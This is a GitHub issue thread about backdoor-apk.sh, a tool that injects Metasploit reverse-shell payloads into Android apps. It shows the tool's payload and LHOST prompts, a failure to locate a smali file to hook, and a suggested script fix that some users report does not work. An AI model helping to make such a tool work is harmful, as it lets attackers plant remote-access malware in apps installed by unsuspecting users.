Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Failed to locate smali file to hook #191

Open
alexanderajju opened this issue Jul 6, 2020 · 7 comments
Open

Failed to locate smali file to hook #191

alexanderajju opened this issue Jul 6, 2020 · 7 comments
Assignees
Labels

Comments

@alexanderajju
Copy link

      ________
     / ______ \
     || _  _ ||
     ||| || |||          AAAAAA   PPPPPPP   KKK  KKK
     |||_||_|||         AAA  AAA  PPP  PPP  KKK KKK
     || _  _o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
     ||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
     |||_||_|||         AAA  AAA  PPP       KKK  KKK
     ||______||         AAA  AAA  PPP       KKK  KKK
    /__________\

||________________________
/
|
| Dana James Traversie

[*] Running backdoor-apk.sh v0.2.4a on Mon 06 Jul 2020 04:46:49 PM IST
[+] Android payload options:

  1. meterpreter/reverse_http 4) shell/reverse_http
  2. meterpreter/reverse_https 5) shell/reverse_https
  3. meterpreter/reverse_tcp 6) shell/reverse_tcp
    [?] Please select an Android payload option: 3
    [?] Please enter an LHOST value: my ip
    [?] Please enter an LPORT value: port
    [+] Android manifest permission options:
  4. Keep original
  5. Merge with payload and shuffle
    [?] Please select an Android manifest permission option: 2
    [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
    [] Decompiling original APK file...done.
    [
    ] Locating smali file to hook in original project...done.
    [!] Failed to locate smali file to hook
@Aholicknight
Copy link

Having this issue also. Does anyone know how to fix it?

@hartmanfrost
Copy link

hartmanfrost commented Jan 6, 2021

Just replace smali_file_to_hook=$MY_PATH/original/smali/$android_class.smali to smali_file_to_hook=$(find $MY_PATH/original/smali/ -name '*$android_class*') in script file.

@Aholicknight
Copy link

Thank you!

@SwimmingLiu
Copy link

I did it.But it doesn't work

Just replace smali_file_to_hook=$MY_PATH/original/smali/$android_class.smali to smali_file_to_hook=$(find $MY_PATH/original/smali/ -name '*$android_class*') in script file.

@S0raWasTaken
Copy link

I did it.But it doesn't work

Just replace smali_file_to_hook=$MY_PATH/original/smali/$android_class.smali to smali_file_to_hook=$(find $MY_PATH/original/smali/ -name '*$android_class*') in script file.

I'm having the same issue, doesn't work either.
Changed smali_file_to_hook=$MY_PATH/original/smali/$android_class.smali on line 297 to smali_file_to_hook=$(find $MY_PATH/original/smali/ -name '*$android_class*')

@HeYiKunclass
Copy link

那么现在怎么做呢

@dana-at-cp
Copy link
Owner

@alexanderajju I'm back to using and improving this project. I've noticed some things to fix as well. There will be some improvements committed in the near future.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

When branches are created from issues, their pull requests are automatically linked.

7 participants